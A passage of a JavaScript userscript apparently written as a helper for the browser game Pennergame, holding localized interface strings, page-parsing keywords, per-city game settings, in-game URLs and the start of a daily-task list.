    TxtIncrDEF[2] = 'obrona';
    TxtIncrDEF[3] = 'défense';
    TxtIncrDEF[4] = 'defensa';
    TxtIncrDEF[5] = 'defense';   // !!!!
    TxtIncrDEF[6] = 'Дефенз';
    TxtIncrDEF[7] = 'defense';
var TxtSicher = new Array();
    TxtSicher[0] = 'Sicher';
    TxtSicher[1] = 'Avoid';
    TxtSicher[2] = 'Uniknąć';
    TxtSicher[3] = 'certaine';
    TxtSicher[4] = ', seguro';
    TxtSicher[5] = 'Avoid';      // !!!!
    TxtSicher[6] = 'Надежно';
    TxtSicher[7] = 'Avoid!';      // !!!!
var TxtAusweich = new Array();
    TxtAusweich[0] = 'Ausweichen';
    TxtAusweich[1] = 'Defense';
    TxtAusweich[2] = 'Unikaj';
    TxtAusweich[3] = 'Esquiver';
    TxtAusweich[4] = 'Evitar';
    TxtAusweich[5] = 'Defense';   // !!!!
    TxtAusweich[6] = 'уклониться';
    TxtAusweich[7] = 'Avoid';
var TxtSkillATT = new Array();
    TxtSkillATT[0] = 'Angriff';
    TxtSkillATT[1] = 'Attack';
    TxtSkillATT[2] = 'Atak';
    TxtSkillATT[3] = 'Attaque';
    TxtSkillATT[4] = 'Ataque';
    TxtSkillATT[5] = 'Ataque';
    TxtSkillATT[6] = 'Нападение';
    TxtSkillATT[7] = 'Attack';
var TxtSkillDEF = new Array();
    TxtSkillDEF[0] = 'Verteidigung';
    TxtSkillDEF[1] = 'Defense';
    TxtSkillDEF[2] = 'Obrona';
    TxtSkillDEF[3] = 'Défense';
    TxtSkillDEF[4] = 'Defensa';
    TxtSkillDEF[5] = 'Defesa';
    TxtSkillDEF[6] = 'Оборона';
    TxtSkillDEF[7] = 'Defense';
var TxtSkillDEX = new Array();
    TxtSkillDEX[0] = 'Geschicklichkeit';
    TxtSkillDEX[1] = 'Dexterity';
    TxtSkillDEX[2] = 'Zręczność';
    TxtSkillDEX[3] = 'Habileté';
    TxtSkillDEX[4] = 'Destreza';
    TxtSkillDEX[5] = 'Agilidade';
    TxtSkillDEX[6] = 'Мастерство';
    TxtSkillDEX[7] = 'Dexterity';
var TxtLang = new Array();
    TxtLang[0] = "Sprache: deutsch";
    TxtLang[1] = "Language: american";
    TxtLang[2] = "Language: polish";
    TxtLang[3] = "Langue: français";
    TxtLang[4] = "Lengua: español";
    TxtLang[5] = "Lingua: português";
    TxtLang[6] = "язык: русский";
    TxtLang[7] = "Language: english";
var Txtmax = new Array();
    Txtmax[0] = 'max.';
    Txtmax[1] = 'max.';
    Txtmax[2] = 'max.';
    Txtmax[3] = 'max.';
    Txtmax[4] = 'max.';
    Txtmax[5] = 'max.';
    Txtmax[6] = 'max.';
    Txtmax[7] = 'max.';
var TxtReload = new Array();
    TxtReload[0] = 'Fertig!! Seiten wird in %d Sekunden neu geladen!';
    TxtReload[1] = 'Done!! Page will reload in %d seconds!';
    TxtReload[2] = 'Done!! Page will reload in %d seconds!';
    TxtReload[3] = 'Done!! Page will reload in %d seconds!';
    TxtReload[4] = 'Done!! Page will reload in %d seconds!';
    TxtReload[5] = 'Done!! Page will reload in %d seconds!';
    TxtReload[6] = 'Done!! Page will reload in %d seconds!';
    TxtReload[7] = 'Done!! Page will reload in %d seconds!';
var TxtBuyTickets = new Array();
    TxtBuyTickets[0] = 'Es werden noch %d Lose gekauft!';
    TxtBuyTickets[1] = 'Another %d tickets will be bought!';
    TxtBuyTickets[2] = 'Another %d tickets will be bought!';
    TxtBuyTickets[3] = 'Another %d tickets will be bought!';
    TxtBuyTickets[4] = 'Another %d tickets will be bought!';
    TxtBuyTickets[5] = 'Another %d tickets will be bought!';
    TxtBuyTickets[6] = 'Another %d tickets will be bought!';
    TxtBuyTickets[7] = 'Another %d tickets will be bought!';
var TxtBuyLastDefWpn = new Array();
    TxtBuyLastDefWpn[0] = 'letzte V-Waffe automatisch kaufen';
    TxtBuyLastDefWpn[1] = 'buy last DEF-weapon automatically';
var TxtRmdDefWpn = new Array();
    TxtRmdDefWpn[0] = 'an fehlende V-Waffe erinnern (max.)';
    TxtRmdDefWpn[1] = 'remind of missing DEF-weapon (max.)';
var TxtBuyDefWpn = new Array();
    TxtBuyDefWpn[0] = 'jetzt V-Waffe %s für %m kaufen ?';
    TxtBuyDefWpn[1] = 'buy DEF-weapon %s for %m now ?';
var TxtNoConfirm = new Array();
    TxtNoConfirm[0] = 'ohne Nachfrage kaufen';
    TxtNoConfirm[1] = 'buy without confirmation';
var TxtNoDefWeapon = new Array();
    TxtNoDefWeapon[0] = 'ACHTUNG!! Zur Zeit ist keine V-Waffe aktiv !!';
    TxtNoDefWeapon[1] = 'ATTENTION!! At the moment there is no DEF-weapon active !!';
var TxtDefWpnNoMny = new Array();
    TxtDefWpnNoMny[0] = 'ACHTUNG!! Die V-Waffe kostet %m, Du hast aber nur %m. Kauf nicht möglich !!';
    TxtDefWpnNoMny[1] = 'ATTENTION!! You need %m in order to buy the DEF-weapon, but you only have %m. Weapon cannot be bought !!';
var TxtDeactKKMsg = new Array();
    TxtDeactKKMsg[0] = 'Kronkorkennachrichten automatisch deaktivieren und entfernen';
    TxtDeactKKMsg[1] = 'automatically deactivate and remove messages for crowncaps';
var TxtNeuPlunder = new Array();
    TxtNeuPlunder[0] = 'Du kannst neuen Plunder basteln: ';
    TxtNeuPlunder[1] = 'You can tinker new plunder: ';

var KEYWORD_INGANG = new Array();
    KEYWORD_INGANG[0] = 'Du bist in keiner Pennerbande';
    KEYWORD_INGANG[1] = 'You are not in a Gang';
    KEYWORD_INGANG[2] = 'Nie ma Cię w żadnej bandzie';
    KEYWORD_INGANG[3] = "Tu n'es dans aucune bande";
    KEYWORD_INGANG[4] = 'No perteneces a ninguna banda de mendigos';
    KEYWORD_INGANG[5] = 'Você não está em nenhuma gangue';
    KEYWORD_INGANG[6] = 'Ты не являешься участником никакой банды.';
    KEYWORD_INGANG[7] = "You're not in a gang";
var KEYWORD_MYBUM = new Array();
    KEYWORD_MYBUM[0] = '<strong>Mein Penner</strong>';
    KEYWORD_MYBUM[1] = '<strong>My bum</strong>';
    KEYWORD_MYBUM[2] = '<strong>Mój menel</strong>';
    KEYWORD_MYBUM[3] = '<strong>Mon clodo</strong>';
    KEYWORD_MYBUM[4] = '<strong>Mi mendigo</strong>';
    KEYWORD_MYBUM[5] = '<strong>Meu favelado</strong>';
    KEYWORD_MYBUM[6] = '<strong>Мой бомж</strong>';
    KEYWORD_MYBUM[7] = '<strong>My Bum</strong>';
var KEYWORD_JUNK = new Array();
    KEYWORD_JUNK[0] = '<h2>Aufgehobener Plunder</h2>';
    KEYWORD_JUNK[1] = '<h2>Collected Junk</h2>';
    KEYWORD_JUNK[2] = '<h2>Zatrzymane rupiecie</h2>';
    KEYWORD_JUNK[3] = '<h2>Babioles récoltées</h2>';
    KEYWORD_JUNK[4] = '<h2>Cachivache guardado</h2>';
    KEYWORD_JUNK[5] = '<h2>Treco de luxo</h2>';
    KEYWORD_JUNK[6] = '<h2>Подобранное барахло</h2>';
    KEYWORD_JUNK[7] = '<h2>Collected stuff</h2>';
var KEYWORD_GANGUPGR = new Array();
    KEYWORD_GANGUPGR[0] = 'class="tiername">Bandenbesitz';
    KEYWORD_GANGUPGR[1] = 'class="tiername">Gang possessions';
    KEYWORD_GANGUPGR[2] = 'class="tiername">Własność bandy';
    KEYWORD_GANGUPGR[3] = 'class="tiername">Biens de la bande';
    KEYWORD_GANGUPGR[4] = 'class="tiername">Propiedad de banda';
    KEYWORD_GANGUPGR[5] = 'class="tiername">Propriedade da gangue';
    KEYWORD_GANGUPGR[6] = 'class="tiername">Имущество банды';
    KEYWORD_GANGUPGR[7] = 'class="tiername">Gang property';

var idoffood = new Array();
    idoffood[0] = ID_SWEETS;
    idoffood[1] = ID_BREAD;
    idoffood[2] = ID_CURRY;
    idoffood[3] = ID_STOLLN;
    idoffood[4] = ID_DOENER;

var promillevals = new Array();
    promillevals[0]=0.15;
    promillevals[1]=0.35;
    promillevals[2]=1;
    promillevals[3]=1.5;
    promillevals[4]=2;

var missions = new Array("Casino-Besuch", "Kiez-Tour", "Straßenkampf", "Schrottplatz", "Floß im Pennerparadies");
var missDauer = new Array (10800, 86400, 86400, 10800, 86400);

var alcoplunder = new Array();
var exalcoplunder = new Array();
var alcoActionNr = new Array();
var alcoPlunderInfo = new Array();

var FoodNames = new Array();

var restPlunder = "";
var restPlunderimg;
var restActionNr = "";
var restIndex = -1;
var currency = "€";        // Euro-Zeichen
var currency1 = "";
var TZ = new Array();        // Tausender-Trennzeichen
    TZ[0] = '.';
    TZ[1] = ',';
    TZ[2] = '.';
    TZ[3] = '.';
    TZ[4] = '.';
    TZ[5] = '.';
    TZ[6] = ',';
    TZ[7] = ',';
var DZ = new Array();        // Dezimal-Trennzeichen
    DZ[0] = ',';
    DZ[1] = '.';
    DZ[2] = ',';
    DZ[3] = ',';
    DZ[4] = ',';
    DZ[5] = ',';
    DZ[6] = '.';
    DZ[7] = '.';
var DS = new Array();        // Datums-Trennzeichen
    DS[0] = '.';
    DS[1] = '/';
    DS[2] = '.';
    DS[3] = '.';
    DS[4] = '.';
    DS[5] = '.';
    DS[6] = '.';
    DS[7] = '.';
var lang = 0;
var WiWut = 0;
var gangupgcontent = "";
var plundercontent = "";
var WutDatum = "";
var PSWaitTime = 72000;      // Plundershop Wartezeit (20 Stunden)
var maxBoostTime = 172800;   // max. Bandenboostzeit (48 Stunden)
var PSwidth = 0;             // Breite der Plundershop-Leiste
var MAXNROFSLOTS = 9;
var anzPlnd = 3;             // Anzahl der Plunderstücke im Plundershop
var bgrndInd = 1;
var DEXSkill = -1;             // Skilllevel DEX
var aktMoney = 0;
var misscontent = "";


// Koordinaten
var PD_X;   // X-Koordinate Plunderdirektleiste
var PD_Y;   // Y-Koordinate Plunderdirektleiste
var PW_X;   // X-Koordinate Promilleleiste
var PW_Y;   // Y-Koordinate Promilleleiste
var AD_X;   // X-Koordinate ATT/DEF-Leiste
var AD_Y;   // Y-Koordinate ATT/DEF-Leiste
var GF_X;   // X-Koordinate Bandenkampf-Icon
var GF_Y;   // Y-Koordinate Bandenkampf-Icon
var FB_X;   // X-Koordinate Fight-Icon
var FB_Y;   // Y-Koordinate Fight-Icon
var PB_X;   // X-Koordinate Plunder/Wut/Power-Leiste
var PB_Y;   // Y-Koordinate Plunder/Wut/Power-Leiste
var PA_X;   // X-Koordinate Provokation/tägliche Aufgabe
var PA_Y;   // Y-Koordinate Provokation/tägliche Aufgabe
var SC_X;   // X-Koordinate Bildung/Karten/Einkaufswagen
var SC_Y;   // Y-Koordinate Bildung/Karten/Einkaufswagen
var MI_X;   // X-Koordinate Missionen
var MI_Y;   // Y-Koordinate Missionen
var koord = new Array(); // Array fuer Koordinaten

// ***********************************************************************************************
// Stadt ermitteln und Variablen entsprechend setzen
// ***********************************************************************************************
var TZDiff = 60;
var language = document.getElementsByName("language")[0].content;
var metas = document.getElementsByTagName("meta");
for (var i = 0; i< metas.length; i++)
    if (metas[i].getAttribute('property') == "og:url") {
        var TOWNBASE_URL = metas[i].content + "/";
        break;
    }
var noWash = false;

// Links für die täglichen Aufgaben
var dailyTaskLinks = new Array();
    dailyTaskLinks[0] = 'friendlist/';
    dailyTaskLinks[1] = 'activities/crime/';
    dailyTaskLinks[2] = 'fight/';
    dailyTaskLinks[3] = 'city/games/';
    dailyTaskLinks[4] = 'gang/';
    dailyTaskLinks[5] = 'city/supermarket/';
    dailyTaskLinks[6] = 'fight/pet/';
    dailyTaskLinks[7] = 'city/washhouse/';
    dailyTaskLinks[8] = 'gang/credit/';
    dailyTaskLinks[9] = 'gang/stuff/';
    dailyTaskLinks[10] = 'skills/pet/';
    dailyTaskLinks[11] = 'stock/plunder/craft' + (oldVersion?'/':'list/');
    dailyTaskLinks[12] = 'stock/foodstuffs/food/';
    dailyTaskLinks[13] = 'stock/';
    dailyTaskLinks[14] = 'activities/';
    dailyTaskLinks[15] = 'stock/bottle/';
    dailyTaskLinks[16] = 'stock/plunder/';
    dailyTaskLinks[17] = 'city/district/';
    dailyTaskLinks[18] = 'stock/armoury/';
    dailyTaskLinks[19] = 'change_please/statistics/';
    dailyTaskLinks[20] = 'city/weapon_store/';
    dailyTaskLinks[21] = 'pet/';
    dailyTaskLinks[22] = 'city/plundershop/';

var API_URL = TOWNBASE_URL + 'dev/api/user.';
var HOME_URL = TOWNBASE_URL + 'city/home/';
var WASHHOUSE_URL = TOWNBASE_URL + 'city/washhouse/';
var MEDICINE_URL = TOWNBASE_URL + 'city/medicine/';
var WASH_URL = TOWNBASE_URL + 'city/washhouse/buy/';
var CURE_URL = TOWNBASE_URL + 'city/medicine/firstaid/';
var PLUNDERSHOP_URL = TOWNBASE_URL + 'city/plundershop/';
var WEAPONSTORE_URL = TOWNBASE_URL + 'city/weapon_store/';
var WEAPONSTOREDEF_URL = TOWNBASE_URL + 'city/weapon_store/def/';
var MINIJOBS_URL = TOWNBASE_URL + 'city/minijobs/';
var DAILY_URL = TOWNBASE_URL + 'daily/';
var REWARDS_URL = TOWNBASE_URL + 'daily/rewards/';
var FIGHT_URL = TOWNBASE_URL + 'fight/overview/';
var GANG_URL = TOWNBASE_URL + 'gang/';
var GANG_PROFILE = TOWNBASE_URL + 'profil/bande:';
var GANGFIGHT_URL = TOWNBASE_URL + 'gang/fight/';
var GANGPACT_URL = TOWNBASE_URL + 'gang/pact/';
var GANGUPGRADE_URL = TOWNBASE_URL + 'gang/upgrades/';
var MISSION_URL = TOWNBASE_URL + 'gang/missions/';
var GANGSEARCH_URL = TOWNBASE_URL + 'highscore/gang/?gang=';
var MESSAGE_URL = TOWNBASE_URL + 'messages/';
var OVERVIEW_URL = TOWNBASE_URL + 'overview/';
var WB_URL = TOWNBASE_URL + 'skills/';
var WBPET_URL = TOWNBASE_URL + 'skills/pet/';
var PET_URL = TOWNBASE_URL + 'pet/';
var DRINK_STACK = TOWNBASE_URL + 'stock/';
var WEAPON_URL = TOWNBASE_URL + 'stock/armoury/';
var EAT_URL = TOWNBASE_URL + 'stock/foodstuffs/use/';
var EAT_STACK = TOWNBASE_URL + 'stock/foodstuffs/food/';
var PLUNDER_URL = TOWNBASE_URL + 'stock/plunder/';
var NEWPLUNDER_URL = TOWNBASE_URL + 'stock/newplunder/';
var PLUNDERCHANGE_URL = TOWNBASE_URL + 'stock/plunder/change/';

// Wenn in Berlin gespielt wird
var ajaxcode = "c";
var TOWNEXTENSION;
if (language == "bl_DE") {
    TOWNEXTENSION = 'B';
    FoodNames[0] = 'Halloween S&uuml;&szlig;igkeiten';
    FoodNames[1] = 'Stullen';
    FoodNames[2] = 'Curryw&uuml;rste';
    FoodNames[3] = 'Stollen';
    FoodNames[4] = 'D&ouml;ner';
    alcoplunder[0] = "Nikolaus-Plunder";
    alcoplunder[1] = "Goldenes Bier";
    ajaxcode = "rc";
// Wenn in München gespielt wird
} else if (language == "mu_DE") {
    TOWNEXTENSION = 'MU';
    FoodNames[0] = 'Halloween S&uuml;&szlig;igkeiten';
    FoodNames[1] = 'Leberkas';
    FoodNames[2] = 'Obatzter';
    FoodNames[3] = 'Stollen';
    FoodNames[4] = 'Weißwurst und a Brezn';
    alcoplunder[0] = "Nikolaus-Plunder";
    alcoplunder[1] = "Goldenes Bier";
    ajaxcode = "rc";
// Wenn in Köln gespielt wird
} else if (language == "kl_DE") {
    TOWNEXTENSION = 'K';
    FoodNames[0] = 'Halloween S&uuml;&szlig;igkeiten';
    FoodNames[1] = 'Röggelchen';
    FoodNames[2] = 'Flönz';
    FoodNames[3] = 'Stollen';
    FoodNames[4] = 'Kölner Krüstchen';
    alcoplunder[0] = "Nikolaus-Plunder";
    alcoplunder[1] = "Goldenes Bier";
// Wenn in Sylt gespielt wird
} else if (language == "sy_DE") {
    TOWNEXTENSION = 'SY';
    FoodNames[0] = 'Halloween S&uuml;&szlig;igkeiten';
    FoodNames[1] = 'Fischbrötchen';
    FoodNames[2] = 'Krabbencocktail';
    FoodNames[3] = 'Stollen';
    FoodNames[4] = 'Austern';
    alcoplunder[0] = "Nikolaus-Plunder";
    alcoplunder[1] = "Goldenes Bier";
    TxtBeer2[0] = "Fassbrause";
    noWash = true;
// Wenn in Malle gespielt wird
} else if (language == "ml_DE") {
    TOWNEXTENSION = 'PM';
    FoodNames[0] = 'Halloween S&uuml;&szlig;igkeiten';
    FoodNames[1] = 'Paella';
//  FoodNames[1] = 'Eis';
    FoodNames[2] = 'Sobrassada';
//  FoodNames[2] = 'Sobrassada de Mallorca';
    FoodNames[3] = 'Stollen';
    FoodNames[4] = 'Ensaïmada';
    alcoplunder[0] = "Nikolaus-Plunder";
    alcoplunder[1] = "Goldenes Bier";
    TxtBeer2[0] = "Fassbrause";
    TxtBought[0] = 'Bereits gekauft';
    noWash = true;
// Wenn im Vatikan gespielt wird
} else if (language == "vt_DE") {
    TOWNEXTENSION = 'VT';
    DRINK_STACK += 'foodstuffs/';
    dailyTaskLinks[13] += 'foodstuffs/';
    FoodNames[0] = 'Halloween S&uuml;&szlig;igkeiten';
    FoodNames[1] = 'harte Brotkanten';
    FoodNames[2] = 'Oblate';
    FoodNames[3] = 'Stollen';
    FoodNames[4] = 'Götterspeise';
    alcoplunder[0] = "Nikolaus-Plunder";
    alcoplunder[1] = "Goldenes Bier";
    TxtBeer2[0] = "Weihwasser";
    TxtBought[0] = 'Benutzen';
    var TxtBoughtMulti = "Du besitzt diese Waffe";
    noWash = true;
    anzPlnd = 6;
// Wenn in Atlantis gespielt wird
} else if (language == "at_DE") {
    TOWNEXTENSION = 'AT';
    GM_deleteValue("ATskriptmustupdate");
    DRINK_STACK += 'foodstuffs/';
    dailyTaskLinks[13] += 'foodstuffs/';
    FoodNames[0] = 'Halloween S&uuml;&szlig;igkeiten';
    FoodNames[1] = 'harte Brotkanten';
    FoodNames[2] = 'Zwieback';
    FoodNames[3] = 'Stollen';
    FoodNames[4] = 'Pökelfleisch';
    alcoplunder[0] = "Nikolaus-Plunder";
    alcoplunder[1] = "Goldenes Bier";
    TxtBeer2[0] = "Wasser";
    TxtBought[0] = 'Benutzen';
    var TxtBoughtMulti = "Du besitzt diese Waffe";
    noWash = true;
    anzPlnd = 6;
// Wenn in Halloween gespielt wird
} else if (location.toString().indexOf("halloween") != -1) {
    TOWNEXTENSION = 'HW';
    FoodNames[0] = 'Halloween S&uuml;&szlig;igkeiten';
    FoodNames[1] = 'Brote';
    FoodNames[2] = 'Curryw&uuml;rste';
    FoodNames[3] = 'Stollen';
    FoodNames[4] = 'Kürbis';
    alcoplunder[0] = "Nikolaus-Plunder";
    alcoplunder[1] = "Goldenes Bier";
    TxtBeer1[0] = "Blut";
// Wenn Operation Pennersturm gespielt wird
} else if (language == 's6_DE') {
    TOWNEXTENSION = 'OP';
    FoodNames[0] = 'Halloween S&uuml;&szlig;igkeiten';
    FoodNames[1] = 'Datteln';
    FoodNames[2] = 'Couscous';
    FoodNames[3] = 'Stollen';
    FoodNames[4] = 'Kürbis';
    alcoplunder[0] = "Nikolaus-Plunder";
    alcoplunder[1] = "Goldenes Bier";
    TxtBeer1[0] = "Assam Tee";
    currency = '$';
// Wenn Speedwelt Athen gespielt wird
} else if (language == 's7_DE') {
    TOWNEXTENSION = 'ATH';
    FoodNames[0] = 'Halloween S&uuml;&szlig;igkeiten';
    FoodNames[1] = 'Tsatsiki';
    FoodNames[2] = 'Souflaki';
    FoodNames[3] = 'Stollen';
    FoodNames[4] = 'Gyros';
    alcoplunder[0] = "Nikolaus-Plunder";
    alcoplunder[1] = "Goldenes Bier";
    TxtBeer1[0] = "Zitronenwasser";
    noWash = true;
    anzPlnd = 6;
// Wenn in Hamburg gespielt wird
} else if (language == "de_DE" || language == "hr_DE") {
    TOWNEXTENSION = 'HH';
    FoodNames[0] = 'Halloween S&uuml;&szlig;igkeiten';
    FoodNames[1] = 'Brote';
    FoodNames[2] = 'Curryw&uuml;rste';
    FoodNames[3] = 'Stollen';
    FoodNames[4] = 'Hamburger';
    alcoplunder[0] = "Nikolaus-Plunder";
    alcoplunder[1] = "Goldenes Bier";
    if (language == "hr_DE") {
        FoodNames[1] = 'Brot';
        FoodNames[2] = 'Currywurst';
        TOWNEXTENSION = 'HR';
    }
    else
        ajaxcode = "rc";
// Wenn in New York gespielt wird
} else if (language == "us_EN") {
    TOWNEXTENSION = 'NY';
    FoodNames[0] = 'Halloween S&uuml;&szlig;igkeiten';
    FoodNames[1] = 'Bread';
    FoodNames[2] = 'Hot Dog';
    FoodNames[3] = 'Stollen';
    FoodNames[4] = 'Hamburger';
    alcoplunder[0] = "Nikolaus-Plunder";
    alcoplunder[1] = "Goldenes Bier";
    lang = 1;
    currency = '$';
// Wenn in Krakau gespielt wird
} else if (language == "kr_PL") {
    TOWNEXTENSION = 'KR';
    FoodNames[0] = 'Halloween S&uuml;&szlig;igkeiten';
    FoodNames[1] = 'Obwarzanka';
    FoodNames[2] = 'Kebab';
    FoodNames[3] = 'Stollen';
    FoodNames[4] = 'Zapiekanka';
    alcoplunder[0] = "Nikolaus-Plunder";
    alcoplunder[1] = "Goldenes Bier";
    lang = 2;
    currency = 'zl';
// Wenn in Warschau gespielt wird
} else if (language == "pl_PL" || language == "wr_PL") {
    TOWNEXTENSION = 'WA';
    FoodNames[0] = 'Halloween S&uuml;&szlig;igkeiten';
    FoodNames[1] = 'Chleb';
    FoodNames[2] = 'Kebab';
    FoodNames[3] = 'Stollen';
    FoodNames[4] = 'Hamburger';
    alcoplunder[0] = "Nikolaus-Plunder";
    alcoplunder[1] = "Goldenes Bier";
    if (language == "wr_PL") {
        TOWNEXTENSION = 'WR';
    }
    lang = 2;
    currency = 'zl';
// Wenn in Marseille gespielt wird
} else if (language == "ma_FR") {
    TOWNEXTENSION = 'MS';
    FoodNames[0] = 'Halloween S&uuml;&szlig;igkeiten';
    FoodNames[1] = 'Baguette';
    FoodNames[2] = 'Crêpe';
    FoodNames[3] = 'Stollen';
    FoodNames[4] = 'Jambon-beurre';
    alcoplunder[0] = "Nikolaus-Plunder";
    alcoplunder[1] = "Biêre dorée";
    lang = 3;
// Wenn in Paris gespielt wird
} else if (language == "fr_FR" || language == "cr_FR") {
    TOWNEXTENSION = 'PA';
    FoodNames[0] = 'Halloween S&uuml;&szlig;igkeiten';
    FoodNames[1] = 'Baguette';
    FoodNames[2] = 'Crêpe';
    FoodNames[3] = 'Stollen';
    FoodNames[4] = 'Jambon-beurre';
    alcoplunder[0] = "Nikolaus-Plunder";
    alcoplunder[1] = "Biêre dorée";
    if (language == "cr_FR") {
        TOWNEXTENSION = 'PR';
    }
    lang = 3;
// Wenn in Buenos Aires gespielt wird
} else if (language == "ba_ES") {
    TOWNEXTENSION = 'BA';
    FoodNames[0] = 'Halloween S&uuml;&szlig;igkeiten';
    FoodNames[1] = 'alfajores';
    FoodNames[2] = 'Perrito caliente';
    FoodNames[3] = 'Stollen';
    FoodNames[4] = 'empanada';
    alcoplunder[0] = "Nikolaus-Plunder";
    alcoplunder[1] = "Cerveza dorada";
    TxtBeer1[4] = 'cerveza';
    TxtBeer2[4] = 'cerveza';
    lang = 4;
    currency = '$';
    TZDiff = -240;
// Wenn in Madrid gespielt wird
} else if (language == "es_ES" || language == "er_ES") {
    TOWNEXTENSION = 'MD';
    FoodNames[0] = 'Halloween S&uuml;&szlig;igkeiten';
    FoodNames[1] = 'Bollo';
    FoodNames[2] = 'Perrito caliente';
    FoodNames[3] = 'Stollen';
    FoodNames[4] = 'Bocadillo de lomo';
    alcoplunder[0] = "Nikolaus-Plunder";
    alcoplunder[1] = "Cerveza dorada";
    if (language == "er_ES") {
        FoodNames[1] = 'bollos';
        TxtBeer1[4] = 'calimocho';
        TxtBeer2[4] = 'calimocho';
        TOWNEXTENSION = 'MR';
    }
    lang = 4;
// Wenn in Sao Paolo gespielt wird
} else if (language == "sp_BR") {
    TOWNEXTENSION = 'SP';
    FoodNames[0] = 'Halloween S&uuml;&szlig;igkeiten';
    FoodNames[1] = 'Pães';
    FoodNames[2] = 'Perrito caliente';
    FoodNames[3] = 'Stollen';
    FoodNames[4] = 'Bocadillo de lomo';
    alcoplunder[0] = "Nikolaus-Plunder";
    alcoplunder[1] = "Cerveza dorada";
    lang = 5;
    currency = 'R$';
    TZDiff = -240;
// Wenn in Rio de Janeiro gespielt wird
} else if (language == "pt_BR") {
    TOWNEXTENSION = 'RJ';
    FoodNames[0] = 'Halloween S&uuml;&szlig;igkeiten';
    FoodNames[1] = 'Pães';
    FoodNames[2] = 'Perrito caliente';
    FoodNames[3] = 'Stollen';
    FoodNames[4] = 'Bocadillo de lomo';
    alcoplunder[0] = "Nikolaus-Plunder";
    alcoplunder[1] = "Cerveza dorada";
    lang = 5;
    currency = 'R$';
    TZDiff = -240;
// Wenn in Moskau gespielt wird
} else if (language == "ru_RU") {
    TOWNEXTENSION = 'MO';
    FoodNames[0] = 'Halloween S&uuml;&szlig;igkeiten';
    FoodNames[1] = 'Пельмешек';
    FoodNames[2] = 'Сосиски';
    FoodNames[3] = 'Stollen';
    FoodNames[4] = 'Шаурма';
    alcoplunder[0] = "Nikolaus-Plunder";
    alcoplunder[1] = "Cerveza dorada";
    lang = 6;
    currency1 = ' руб. ';
    currency2 = ' коп.';
    TZDiff = 240;
// Wenn in London gespielt wird
} else if (language == "en_EN") {
    TOWNEXTENSION = 'LO';
    FoodNames[0] = 'Halloween S&uuml;&szlig;igkeiten';
    FoodNames[1] = 'Bread';
    FoodNames[2] = 'Bags of chips';
    FoodNames[3] = 'Stollen';
    FoodNames[4] = 'Kebab';
    alcoplunder[0] = "Nikolaus-Plunder";
    alcoplunder[1] = "Cerveza dorada";
    lang = 7;
    currency = '£';
}

var TXLEN = TOWNEXTENSION.length;
var keys = GM_listValues();
for (i = 0; i < keys.length; i++) {
    var val = keys[i];
    if (val.substr(0,9) == "undefined" || val.endsWith("undefined") || val.endsWith("Userdata") || val.endsWith("PlunderDirectAccess") || val == "ScriptVersion" || val == "GetInfo" || val.indexOf('XmasCalendar') != -1)
        GM_deleteValue(val);
    else if (val.substr(val.length-TXLEN) == TOWNEXTENSION) {
        if (TOWNEXTENSION == "B" && (val.substr(val.length-2) == "FB" || val.substr(val.length-2) == "PB")) {
            continue;
        }
        var v = GM_getValue(TOWNEXTENSION+val.substr(0, val.length-TXLEN), "deadmeat");
        if (v == "deadmeat")
            GM_setValue(TOWNEXTENSION+val.substr(0, val.length-TXLEN), GM_getValue(val));
        GM_deleteValue(val);
    }
    else if (TOWNEXTENSION == "B" && val.substr(val.length-1) == "F") {
        var v = GM_getValue(val, "deadmeat");
        if (v != "deadmeat") {
            GM_setValue(val.substr(1)+"B", v);
            GM_deleteValue(val);
            continue;
        }
    }
}

myLang = PG_getValue("myLang", lang);   // Sprache laden
PG_setValue("myLang", myLang);          // Sprache speichern
var lockmove = PG_getValue("lockmove", 0);
var EatDrinkFeedBack = PG_getValue("EatDrinkFB", 1);
var CollEndAlert = PG_getValue("CollEndAlert", 1);
var clean = -1;
var crimePlanned = 0;
var TAisEatSnack = false;
var TAisDrink2 = false;
var scriptData = new Array();
var glblVars = new Array();
var noUpdate = false;
var attname = "";
var attid = 0;
var weaponatt = -1;
var weapondef = "";
var now = new Date();
var timeDiff = (TZDiff + (now.getTimezoneOffset() + (new Date(now.getFullYear(), 0, 1).getTimezoneOffset() != now.getTimezoneOffset()?60:0))) * 60;
var balkindx = 0;

function convertUni(text) {
    return text.replace(/&auml;/g, "ä").replace(/&Auml;/g, "Ä").replace(/&ouml;/g, "ö").replace(/&Ouml;/g, "Ö").replace(/&uuml;/g, "ü").replace(/&Uuml;/g, "Ü").replace(/&szlig;/g, "ß");
}

// **********************************************************************************
// **********************************************************************************
// Funktion initialisert das Array mit den Tagesaufgaben
// **********************************************************************************
// **********************************************************************************
function initDaily(lang) {
    var taskTexts = new Array();

    for (var i = 0; i <= 16; i++)
        taskTexts[i] = "";

    switch (lang) {
        case 0:
                taskTexts[0] = 'Jetzt eine PN an einen Freund versenden';
                taskTexts[1] = 'Ein Verbrechen erfolgreich begehen';
                if (TOWNEXTENSION == 'AT')
                    taskTexts[1] = 'Eine Sabotage erfolgreich begehen';
                else if (TOWNEXTENSION == 'VT')
                    taskTexts[1] = 'Eine Sünde erfolgreich begehen';
                taskTexts[2] = 'Einen Kampf gewinnen';
                taskTexts[3] = 'Jetzt Lose kaufen';
                taskTexts[4] = 'Jetzt in der SB posten';
                taskTexts[5] = 'Jetzt im Supermarkt Getränke kaufen.';
                taskTexts[6] = 'Jetzt einen Begleiterkampf aktivieren';
                taskTexts[7] = 'Jetzt einmal 100% sauber werden';
                taskTexts[8] = 'Geld in deine Bandenkasse einzahlen';
                taskTexts[9] = 'Plunder in die Plunderbank deiner Bande einzahlen';
                taskTexts[10] = 'Eine Begleiterweiterbildung starten';
                taskTexts[11] = 'Einen Plunder basteln';
                taskTexts[12] = 'Jetzt einen kleinen Snack essen';
                taskTexts[13] = 'Promillepegel über 2‰';
                taskTexts[14] = 'Einmal ' + (TOWNEXTENSION == "AT"?"Perlen":"Flaschen") + 'sammeln starten';
                taskTexts[15] = 'Jetzt ' + (TOWNEXTENSION == "AT"?"Perlen":"Flaschen") + ' verkaufen';
                taskTexts[16] = 'Jetzt Plunder verkaufen';
                if (new Array('SY', 'PM', 'VT', 'AT').indexOf(TOWNEXTENSION) != -1)
                    taskTexts[17] = 'Jetzt das Gebiet wechseln.';
                else
                    taskTexts[17] = 'Jetzt den Stadtteil wechseln.';
                taskTexts[18] = 'Jetzt eine Waffe verkaufen.';
                taskTexts[19] = 'Jetzt einem anderen Penner spenden.';
                taskTexts[20] = 'Jetzt Zahnstocher kaufen.';
                if (TOWNEXTENSION == 'SY' || TOWNEXTENSION == 'PM')
